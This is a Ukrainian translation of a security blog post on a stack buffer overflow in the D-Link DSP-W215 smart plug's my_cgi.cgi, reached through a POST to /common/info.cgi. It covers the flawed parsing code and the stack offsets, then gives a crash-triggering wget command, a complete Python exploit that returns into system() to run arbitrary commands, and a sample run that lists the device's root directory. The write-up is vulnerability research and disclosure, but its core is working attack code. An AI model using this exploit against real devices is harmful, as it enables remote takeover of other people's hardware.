зламувати D-Link DSP-W215 Smart Plug. Знову

       image
Нещодавно, D-Link випустив прошивку v1.02 для DSP-W215, в якій виправлений баг HNAP з переповненням буфера в my_cgi.cgi. Хоч вони і швиденько прибрали прошивку з сайту: «Ви можете оновити прошивку через мобільний додаток», я встиг її завантажити перед моїм рейсом до Мюнхена, і 8-годинний переліт надав мені достатньо часу для якісного аналізу нової версії прошивки.
 
На жаль, баг з HNAP був не єдиною проблемою цього пристрою. Конфігураційний файл lighttpd показує нам, що my_cgi.cgi використовується для обробки деяких сторінок, а не тільки HNAP-запитів:
 
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)

 
Головна функція в my_cgi.cgi має для розгалуження коду: один для обробки HNAP-запитів, а інший — для всього іншого:
 image
 
Якщо HTTP-запит була не HNAP (наприклад, / common / info.cgi) і якщо це був POST-запит, то в цьому випадку, my_cgi.cgi отримує деякі HTTP-заголовки, в тому числі і Content-Length:
 image
 
Якщо Content-Length більше нуля, то викликається функція get_input_entries, яка відповідальна за читання і парсинг POST-параметрів:
 image
 
Функція get_input_entries приймає два аргументи: покажчик на структуру «entries» і розмір POST-даних (тобто Content-Length):
 
struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};
 
// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);

 
Це дещо підозріло, тому що параметр передається в get_input_entries прямо з заголовка Content-Length, який був зазначений в HTTP-запиті, а покажчик структури вказує на локальну змінну в стеку у головній функції:
 
int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes
 
content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));
 
num_entries = get_input_entries(&my_entries, content_length);

 
Звичайно ж, get_input_entries містить цикл з fgetc (практично такий же, який викликав HNAP-уразливість), який парсит POST-запит (імена і значення) і зберігає їх у структурі «entries»:
 image
 Цикл fgetc
 
 image
 fgetc (stdin) всередині циклу for
 
 image
 Значення, прочитане fgetc, зберігається в name / value в структурі «entries»
 
Т.к. структура «entries», в нашому випадку, є стековой змінної в main, надмірно довге POST-значення викличе переповнення стека в get_input_entries, а відповідно, і в main.
 
Для того, щоб уникнути падіння перед поверненням в main (більш докладно про це буде в наступному пості), нам потрібно вийти з функції get_input_entries якомога швидше. Найпростіше це зробити, передавши єдиний POST-параметр «storage_path», тому код в get_input_entries пропускається, якщо цей параметр зустрічається:
 image
 
Якщо ми подивимося в стек main, ми побачимо, що початок структури «entries» знаходиться на 0 × 74 944 байт далі від адреси повернення в стеку:
 image
 
Через те, що на імена з POST-запиту відводиться 36 байт в структурі, POST-значення розміром 477 472 (0 × 74944-36) байт переповнить на стеку все до збереженого адреси повернення:
 
# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi

 image
 $ ra перезаписаний значенням 0 × 41414141
 
Тепер ми контролюємо $ ra, а значить можемо повернутися в той же виклик system (), який ми використовували в переповненні HNAP для того, щоб виконувати довільні команди:
 image
 виклик system () за адресою 0x00405CEC
 
Ось вам PoC:
 
#!/usr/bin/env python
 
import sys
import urllib2
 
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s/common/info.cgi" % target
 
buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command
 
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

 
Який відмінно працює з останньою версією прошивки:
 
./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www

  
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.